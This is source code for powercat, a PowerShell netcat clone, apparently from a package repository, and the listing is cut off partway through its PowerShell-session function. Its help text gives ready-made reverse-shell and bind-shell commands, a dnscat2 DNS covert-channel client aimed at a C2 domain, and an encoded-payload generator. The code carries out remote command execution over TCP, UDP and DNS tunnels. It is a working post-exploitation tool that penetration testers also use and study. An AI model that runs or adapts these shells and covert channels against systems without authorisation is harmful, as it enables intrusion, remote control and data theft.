Codebase list powercat / 1bd68493-2a8b-4fa5-80de-7a31297bd88e/upstream powercat.ps1
1bd68493-2a8b-4fa5-80de-7a31297bd88e/upstream

Tree @1bd68493-2a8b-4fa5-80de-7a31297bd88e/upstream (Download .tar.gz)

powercat.ps1 @1bd68493-2a8b-4fa5-80de-7a31297bd88e/upstreamraw · history · blame

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
function powercat
{
  param(
    [alias("Client")][string]$c="",
    [alias("Listen")][switch]$l=$False,
    [alias("Port")][Parameter(Position=-1)][string]$p="",
    [alias("Execute")][string]$e="",
    [alias("ExecutePowershell")][switch]$ep=$False,
    [alias("Relay")][string]$r="",
    [alias("UDP")][switch]$u=$False,
    [alias("dnscat2")][string]$dns="",
    [alias("DNSFailureThreshold")][int32]$dnsft=10,
    [alias("Timeout")][int32]$t=60,
    [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
    [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
    [alias("OutputFile")][string]$of="",
    [alias("Disconnect")][switch]$d=$False,
    [alias("Repeater")][switch]$rep=$False,
    [alias("GeneratePayload")][switch]$g=$False,
    [alias("GenerateEncoded")][switch]$ge=$False,
    [alias("Help")][switch]$h=$False
  )
  
  ############### HELP ###############
  $Help = "
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat

This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.

Usage: powercat [-c or -l] [-p port] [options]

  -c  <ip>        Client Mode. Provide the IP of the system you wish to connect to.
                  If you are using -dns, specify the DNS Server to send queries to.
            
  -l              Listen Mode. Start a listener on the port specified by -p.
  
  -p  <port>      Port. The port to connect to, or the port to listen on.
  
  -e  <proc>      Execute. Specify the name of the process to start.
  
  -ep             Execute Powershell. Start a pseudo powershell session. You can
                  declare variables and execute commands, but if you try to enter
                  another shell (nslookup, netsh, cmd, etc.) the shell will hang.
            
  -r  <str>       Relay. Used for relaying network traffic between two nodes.
                  Client Relay Format:   -r <protocol>:<ip addr>:<port>
                  Listener Relay Format: -r <protocol>:<port>
                  DNSCat2 Relay Format:  -r dns:<dns server>:<dns port>:<domain>
            
  -u              UDP Mode. Send traffic over UDP. Because it's UDP, the client
                  must send data before the server can respond.
            
  -dns  <domain>  DNS Mode. Send traffic over the dnscat2 dns covert channel.
                  Specify the dns server to -c, the dns port to -p, and specify the 
                  domain to this option, -dns. This is only a client.
                  Get the server here: https://github.com/iagox86/dnscat2
            
  -dnsft <int>    DNS Failure Threshold. This is how many bad packets the client can
                  recieve before exiting. Set to zero when receiving files, and set high
                  for more stability over the internet.
            
  -t  <int>       Timeout. The number of seconds to wait before giving up on listening or
                  connecting. Default: 60
            
  -i  <input>     Input. Provide data to be sent down the pipe as soon as a connection is
                  established. Used for moving files. You can provide the path to a file,
                  a byte array object, or a string. You can also pipe any of those into
                  powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
            
  -o  <type>      Output. Specify how powercat should return information to the console.
                  Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
            
  -of <path>      Output File.  Specify the path to a file to write output to.
            
  -d              Disconnect. powercat will disconnect after the connection is established
                  and the input from -i is sent. Used for scanning.
            
  -rep            Repeater. powercat will continually restart after it is disconnected.
                  Used for setting up a persistent server.
                  
  -g              Generate Payload.  Returns a script as a string which will execute the
                  powercat with the options you have specified. -i, -d, and -rep will not
                  be incorporated.
                  
  -ge             Generate Encoded Payload. Does the same as -g, but returns a string which
                  can be executed in this way: powershell -E <encoded string>

  -h              Print this help message.

Examples:

  Listen on port 8000 and print the output to the console.
      powercat -l -p 8000
  
  Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
      powercat -c 10.1.1.1 -p 443 -e cmd -v
  
  Connect to the dnscat2 server on c2.example.com, and send dns queries
  to the dns server on 10.1.1.1 port 53.
      powercat -c 10.1.1.1 -p 53 -dns c2.example.com
  
  Send a file to 10.1.1.15 port 8000.
      powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
  
  Write the data sent to the local listener on port 4444 to C:\outfile
      powercat -l -p 4444 -of C:\outfile
  
  Listen on port 8000 and repeatedly server a powershell shell.
      powercat -l -p 8000 -ep -rep
  
  Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
      powercat -l -p 8000 -r tcp:10.1.1.1:9000
      
  Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
  sending queries to 10.1.1.1 port 53.
      powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
"
  if($h){return $Help}
  ############### HELP ###############
  
  ############### VALIDATE ARGS ###############
  $global:Verbose = $Verbose
  if($of -ne ''){$o = 'Bytes'}
  if($dns -eq "")
  {
    if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
    if($p -eq ""){return "Please provide a port number to -p."}
  }
  if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or  (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
  if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
  if($l)
  {
    $Failure = $False
    netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
    if($Failure){break}
  }
  if($r -ne "")
  {
    if($r.split(":").Count -eq 2)
    {
      $Failure = $False
      netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
      if($Failure){break}
    }
  }
  ############### VALIDATE ARGS ###############
  
  ############### UDP FUNCTIONS ###############
  function Setup_UDP
  {
    param($FuncSetupVars)
    if($global:Verbose){$Verbose = $True}
    $c,$l,$p,$t = $FuncSetupVars
    $FuncVars = @{}
    $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
    if($l)
    {
      $SocketDestinationBuffer = New-Object System.Byte[] 65536
      $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
      $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
      $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
      Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
      $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
      $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
      while($True)
      {
        if($Host.UI.RawUI.KeyAvailable)
        {
          if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
          {
            Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
            $FuncVars["Socket"].Close()
            $Stopwatch.Stop()
            break
          }
        }
        if($Stopwatch.Elapsed.TotalSeconds -gt $t)
        {
          $FuncVars["Socket"].Close()
          $Stopwatch.Stop()
          Write-Verbose "Timeout!" ; break
        }
        if($ConnectHandle.IsCompleted)
        {
          $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
          Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
          if($SocketBytesRead -gt 0){break}
          else{break}
        }
      }
      $Stopwatch.Stop()
      $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
    }
    else
    {
      if(!$c.Contains("."))
      {
        $IPList = @()
        [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
        Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
        $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
      }
      else
      {
        $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
      }
      $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
      $FuncVars["Socket"].Connect($c,$p)
      Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
      Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
    }
    $FuncVars["BufferSize"] = 65536
    $FuncVars["EndPoint"] = $EndPoint
    $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
    $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
    return $FuncVars
  }
  function ReadData_UDP
  {
    param($FuncVars)
    $Data = $null
    if($FuncVars["StreamReadOperation"].IsCompleted)
    {
      $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
      if($StreamBytesRead -eq 0){break}
      $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
      $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
    }
    return $Data,$FuncVars
  }
  function WriteData_UDP
  {
    param($Data,$FuncVars)
    $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
    return $FuncVars
  }
  function Close_UDP
  {
    param($FuncVars)
    $FuncVars["Socket"].Close()
  }
  ############### UDP FUNCTIONS ###############
  
  ############### DNS FUNCTIONS ###############
  function Setup_DNS
  {
    param($FuncSetupVars)
    if($global:Verbose){$Verbose = $True}
    function ConvertTo-HexArray
    {
      param($String)
      $Hex = @()
      $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
      return $Hex
    }
    
    function SendPacket
    {
      param($Packet,$DNSServer,$DNSPort)
      $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
      $result = ($Command | nslookup 2>&1 | Out-String)
      if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
      else{return 1}
    }
    
    function Create_SYN
    {
      param($SessionId,$SeqNum,$Tag,$Domain)
      return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
    }
    
    function Create_FIN
    {
      param($SessionId,$Tag,$Domain)
      return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
    }
    
    function Create_MSG
    {
      param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
      return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
    }
    
    function DecodePacket
    {
      param($Packet)
      
      if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
      $AcknowledgementNumber = ($Packet[10..13] -join "")
      $SeqNum = ($Packet[14..17] -join "")
      [byte[]]$ReturningData = @()
      
      if($Packet.Length -gt 18)
      {
        $PacketElim = $Packet.Substring(18)
        while($PacketElim.Length -gt 0)
        {
          $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
          $PacketElim = $PacketElim.Substring(2)
        }
      }
      
      return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
    }
    
    function AcknowledgeData
    {
      param($ReturningData,$AcknowledgementNumber)
      $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
      if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
      return $Hex
    }
    $FuncVars = @{}
    $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
    if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
    $FuncVars["Tag"] = ""
    $FuncVars["Domain"] = ("." + $FuncVars["Domain"])
    
    $FuncVars["Create_SYN"] = ${function:Create_SYN}
    $FuncVars["Create_MSG"] = ${function:Create_MSG}
    $FuncVars["Create_FIN"] = ${function:Create_FIN}
    $FuncVars["DecodePacket"] = ${function:DecodePacket}
    $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
    $FuncVars["AckData"] = ${function:AcknowledgeData}
    $FuncVars["SendPacket"] = ${function:SendPacket}
    $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
    $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
    $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
    $FuncVars["Failures"] = 0
    
    $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
    $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
    $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
    if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
    $ReturningData = $DecodedPacket[1]
    if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
    $FuncVars["AckNum"] = $DecodedPacket[2]
    $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
    if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
    return $FuncVars
  }
  function ReadData_DNS
  {
    param($FuncVars)
    if($global:Verbose){$Verbose = $True}
    
    $PacketsData = @()
    $PacketData = ""
    
    if($FuncVars["InputData"] -ne $null)
    {
      $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
      $SectionCount = 0
      $PacketCount = 0
      foreach($Char in $Hex)
      {
        if($SectionCount -ge 30)
        {
          $SectionCount = 0
          $PacketData += "."
        }
        if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
        {
          $PacketsData += $PacketData.TrimEnd(".")
          $PacketCount = 0
          $SectionCount = 0
          $PacketData = ""
        }
        $PacketData += $Char
        $SectionCount += 2
        $PacketCount += 2
      }
      $PacketData = $PacketData.TrimEnd(".")
      $PacketsData += $PacketData
      $FuncVars["InputData"] = ""
    }
    else
    {
      $PacketsData = @("")
    }
    
    [byte[]]$ReturningData = @()
    foreach($PacketData in $PacketsData)
    {
      try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
      catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
      try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
      catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
      try
      {
        $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
        if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
        $FuncVars["AckNum"] = $DecodedPacket[2]
        $FuncVars["SeqNum"] = $DecodedPacket[3]
        $ReturningData += $DecodedPacket[1]
      }
      catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
      if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
    }
    
    if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
    
    if($ReturningData -ne @())
    {
      $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
    }
    return $ReturningData,$FuncVars
  }
  function WriteData_DNS
  {
    param($Data,$FuncVars)
    $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
    return $FuncVars
  }
  function Close_DNS
  {
    param($FuncVars)
    $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
    Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
  }
  ############### DNS FUNCTIONS ###############
  
  ########## TCP FUNCTIONS ##########
  function Setup_TCP
  {
    param($FuncSetupVars)
    $c,$l,$p,$t = $FuncSetupVars
    if($global:Verbose){$Verbose = $True}
    $FuncVars = @{}
    if(!$l)
    {
      $FuncVars["l"] = $False
      $Socket = New-Object System.Net.Sockets.TcpClient
      Write-Verbose "Connecting..."
      $Handle = $Socket.BeginConnect($c,$p,$null,$null)
    }
    else
    {
      $FuncVars["l"] = $True
      Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
      $Socket = New-Object System.Net.Sockets.TcpListener $p
      $Socket.Start()
      $Handle = $Socket.BeginAcceptTcpClient($null, $null)
    }
    
    $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
    while($True)
    {
      if($Host.UI.RawUI.KeyAvailable)
      {
        if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
        {
          Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
          if($FuncVars["l"]){$Socket.Stop()}
          else{$Socket.Close()}
          $Stopwatch.Stop()
          break
        }
      }
      if($Stopwatch.Elapsed.TotalSeconds -gt $t)
      {
        if(!$l){$Socket.Close()}
        else{$Socket.Stop()}
        $Stopwatch.Stop()
        Write-Verbose "Timeout!" ; break
        break
      }
      if($Handle.IsCompleted)
      {
        if(!$l)
        {
          try
          {
            $Socket.EndConnect($Handle)
            $Stream = $Socket.GetStream()
            $BufferSize = $Socket.ReceiveBufferSize
            Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
          }
          catch{$Socket.Close(); $Stopwatch.Stop(); break}
        }
        else
        {
          $Client = $Socket.EndAcceptTcpClient($Handle)
          $Stream = $Client.GetStream()
          $BufferSize = $Client.ReceiveBufferSize
          Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
        }
        break
      }
    }
    $Stopwatch.Stop()
    if($Socket -eq $null){break}
    $FuncVars["Stream"] = $Stream
    $FuncVars["Socket"] = $Socket
    $FuncVars["BufferSize"] = $BufferSize
    $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
    $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
    $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
    $FuncVars["StreamBytesRead"] = 1
    return $FuncVars
  }
  function ReadData_TCP
  {
    param($FuncVars)
    $Data = $null
    if($FuncVars["StreamBytesRead"] -eq 0){break}
    if($FuncVars["StreamReadOperation"].IsCompleted)
    {
      $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
      if($StreamBytesRead -eq 0){break}
      $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
      $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
    }
    return $Data,$FuncVars
  }
  function WriteData_TCP
  {
    param($Data,$FuncVars)
    $FuncVars["Stream"].Write($Data, 0, $Data.Length)
    return $FuncVars
  }
  function Close_TCP
  {
    param($FuncVars)
    try{$FuncVars["Stream"].Close()}
    catch{}
    if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
    else{$FuncVars["Socket"].Close()}
  }
  ########## TCP FUNCTIONS ##########
  
  ########## CMD FUNCTIONS ##########
  function Setup_CMD
  {
    param($FuncSetupVars)
    if($global:Verbose){$Verbose = $True}
    $FuncVars = @{}
    $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
    $ProcessStartInfo.FileName = $FuncSetupVars[0]
    $ProcessStartInfo.UseShellExecute = $False
    $ProcessStartInfo.RedirectStandardInput = $True
    $ProcessStartInfo.RedirectStandardOutput = $True
    $ProcessStartInfo.RedirectStandardError = $True
    $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
    Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
    $FuncVars["Process"].Start() | Out-Null
    $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
    $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
    $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
    $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
    $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
    return $FuncVars
  }
  function ReadData_CMD
  {
    param($FuncVars)
    [byte[]]$Data = @()
    if($FuncVars["StdOutReadOperation"].IsCompleted)
    {
      $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
      if($StdOutBytesRead -eq 0){break}
      $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
      $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
    }
    if($FuncVars["StdErrReadOperation"].IsCompleted)
    {
      $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
      if($StdErrBytesRead -eq 0){break}
      $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
      $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
    }
    return $Data,$FuncVars
  }
  function WriteData_CMD
  {
    param($Data,$FuncVars)
    $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
    return $FuncVars
  }
  function Close_CMD
  {
    param($FuncVars)
    $FuncVars["Process"] | Stop-Process
  }  
  ########## CMD FUNCTIONS ##########
  
  ########## POWERSHELL FUNCTIONS ##########
  function Main_Powershell
  {
    param($Stream1SetupVars)   
    try
    {
      $encoding = New-Object System.Text.AsciiEncoding
      [byte[]]$InputToWrite = @()
      if($i -ne $null)
      {
        Write-Verbose "Input from -i detected..."
        if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
        elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
        elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
        else{Write-Host "Unrecognised input type." ; return}
      }
    
      Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
      try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
      catch{Write-Verbose "Stream 1 Setup Failure" ; return}
      
      Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
      try
      {
        $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
        $Prompt = ("PS " + (pwd).Path + "> ")
        $CommandToExecute = ""      
        $Data = $null
      }
      catch
      {
        Write-Verbose "Stream 2 Setup Failure" ; return
      }
      
      if($InputToWrite -ne @())
      {
        Write-Verbose "Writing input to Stream 1..."
        try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
        catch{Write-Host "Failed to write input to Stream 1" ; return}
      }
      
      if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
      
      Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
      while($True)
      {        
        try
        {
          ##### Stream2 Read #####
          $Prompt = $null
          $ReturnedData = $null
          if($CommandToExecute -ne "")
          {
            try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
            catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
            $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
          }
          $Data += $IntroPrompt
          $IntroPrompt = $null
          $Data += $ReturnedData
          $Data += $Prompt
          $CommandToExecute = ""
          ##### Stream2 Read #####

          if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
          $Data = $null
        }
        catch
        {
